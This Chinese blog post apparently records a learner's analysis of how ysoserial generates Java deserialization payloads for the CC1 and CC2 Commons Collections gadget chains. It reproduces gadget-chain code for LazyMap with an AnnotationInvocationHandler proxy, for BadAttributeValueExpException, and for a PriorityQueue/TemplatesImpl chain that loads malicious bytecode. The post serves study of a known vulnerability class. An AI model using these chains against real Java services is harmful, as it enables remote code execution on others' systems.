结合两条cc链分析ysoserial实现

小记:之前学习了两条cc链,后续打算跟着ysoserial工具学习,看下其实现payload原理顺便巩固一下java基础

yso payload生成分析

入口函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package ysoserial;


import java.io.PrintStream;
import java.util.*;


import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;


@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;


public static void main(final String[] args) {
//首先查看接受参数是否为2,不是就输出用法
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
//判断payload是否存在。Utils为静态类,getPayloadClass获取类名
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}
//paloadClass的值为(Class<? extends ObjectPayload>) Class.forName(className);
//getObject为接口方法,payload会实现该方法并传入执行的命令生成一个类实例
//最后释放
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}


private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");


final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize


final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}


final List<String> lines = Strings.formatTable(rows);


for (String line : lines) {
System.err.println(" " + line);
}
}
}

1

做一个判断,使用错误则输出用法。反之则根据exp生成payload序列化数据输出

2

Utils.getPayloadClass获取类–>经过if判断之后获取实例对象–>将command传入实现ObjectPayload接口getObject方法中(也就是paylaod实现的该接口)–>生成payload之后序列化其数据–>释放对象内存

生成序列化数据可添加如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void serialize(final Object obj, final OutputStream out) throws  IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
//*****************这里添加一个生产payload文件的代码
try{
FileOutputStream fout = new FileOutputStream("./payload.ser");
ObjectOutputStream ot = new ObjectOutputStream(fout);
ot.writeObject(obj);
ot.close();
fout.close();
}catch (FileNotFoundException FNFE){
System.out.println("./payload.ser Not Found");
}
//*****************
}

https://www.anquanke.com/post/id/229108 安全客的这篇文章分析了该工具实现以及payload如何自行编写。

cc1 payload生成

这里主要是了解该工具payload生成的原理以及动态代理的应用,之前分析过cc1,前面的跳过,直接看到lazyMap

1
2
3
4
5
6
7
8
9
10
11
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);//获取实例对象

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);//传入map类型对象和一个接口类,实现动态代理

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;

1.通过lazyMap.decorate方法获取实例对象

3

因为传入的参数是transformer类型,所以会调用第二种方法。

2.跟进Gadgets.createMemoitizedProxy

4

进入Gadgets类,这里调用createMemoitizedProxy方法传入一个Map类型对象和多个接口类,然后返回createProxy方法来创建动态代理对象。

看到createMemoizedInvocationHandler方法中会生成调用处理器,跟进Reflection类可以发现是实现反射的方法。获取ANN_INV_HANDLER_CLASS的实例。参数 ANN_INV_HANDLER_CLASS 值为 sun.reflect.annotation.AnnotationInvocationHandler. 该类是 Java 中专门用来处理注解的调用处理器 , 但 Java 中不允许直接获取该类 , 所以必须要通过反射( Reflection ) 才能拿到该类,之前分析的payload也是在该类拿到的readObject复写点。

但是这里有一个问题newInstance() 方法第一个参数为 Override.class

5

通过调试发现最终会传入AnnotationInvocationHandler类的构造参数var1中,要求是一个注解类,这就是需要传入的一个注解类的原因。

6
根据调试信息最后var2会传入lazyMap对象,而该类invoke方法最终会调用LazyMap.get() 方法,然后就能拼接利用链。

继续看final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy)

服务端会调用AnnotationInvocationHandler.readObject() 方法,AnnotationInvocationHandler.readObject() 中会调用 this.memberValues.entrySet(),this.memberValues方法值为传入的mapProxy动态代理对象,entrySet()又是Map接口即被代理的方法,调用该方法会转发到调用处理器的 invoke() 方法中。

7

该方法中

Object var6 = this.memberValues.get(var4);

this.memberValues 参数会被赋值为 LazyMap 对象,最后调用LazyMap的get方法进入利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
//原本的payload
Transformer transformerChain = new ChainedTransformer(transformers);


Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");


BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

cc2 payload分析

来看yso如何实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//命令参数传入createTemplatesImpl方法
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);


// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);


// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");


// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;


return queue;
}

首先将我们命令参数传入Gadgets.createTemplatesImpl方法

8
跟进

9

先通过 System.getProperty() 方法获取系统属性 properXalan 的值做if判断,都是调用createTemplatesImpl的重载方法,判断值为true时使用全限定类名传参,反之使用非限定类名传参

10
这里生成clazz类,父类为AbstractTranslet,和之前的paylaod一样,继续
通过toBytecode() 方法获取恶意类的字节码 , 并通过 Java 反射机制将字节码填充到 TemplatesImpl 实例对象的 _ bytecodes 属性数组中

11
到这里返回一个携带恶意类字节码的 TemplatesImpl 实例对象,这个方法做了两件事,一是动态创建一个恶意类,二是将字节码插入到TemplatesImpl对象返回。

12

定义一个invokertransform类型的transform实例对象,传入TransformingComparator构造方法中作为队列的参数

13

优先级队列每次比较时都会调用比较器的 compare() 方法 , 当服务端执行到这里时 , 就会调用 TransformingComparator.compare() 方法 .进而调用 this.transformer.transform(obj1) 方法 , 即执行 : InvokerTransformer.transform() 方法 , 进入可控的反射调用.

14

反射调用 newTransformer() 方法,为什么调用该方法,跟进看看

15

跟进getTransletInstance()

16

通过字节码加载恶意类并实例化。
最后传入恶意字节码到queue最后实现序列化

defineTransletClasses实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

private void defineTransletClasses()
throws TransformerConfigurationException {


if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}


TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});


try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];


if (classCount > 1) {
_auxClasses = new HashMap<>();
}


for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();


// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}


if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

17

其实这样分析不了很清楚,还是根据payload自己搭环境分析清楚一点,只是想熟悉一下该工具,以后学习可以根据payload分析之后再根据该工具自行编写payload会好一点。

参考:

https://www.cnblogs.com/litlife/p/12571787.html
https://www.guildhab.top/2020/07/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e5-%e8%a7%a3%e5%af%86-ysoserial-java%e5%8a%a8%e6%80%81%e4%bb%a3%e7%90%86%e6%9c%ba%e5%88%b6/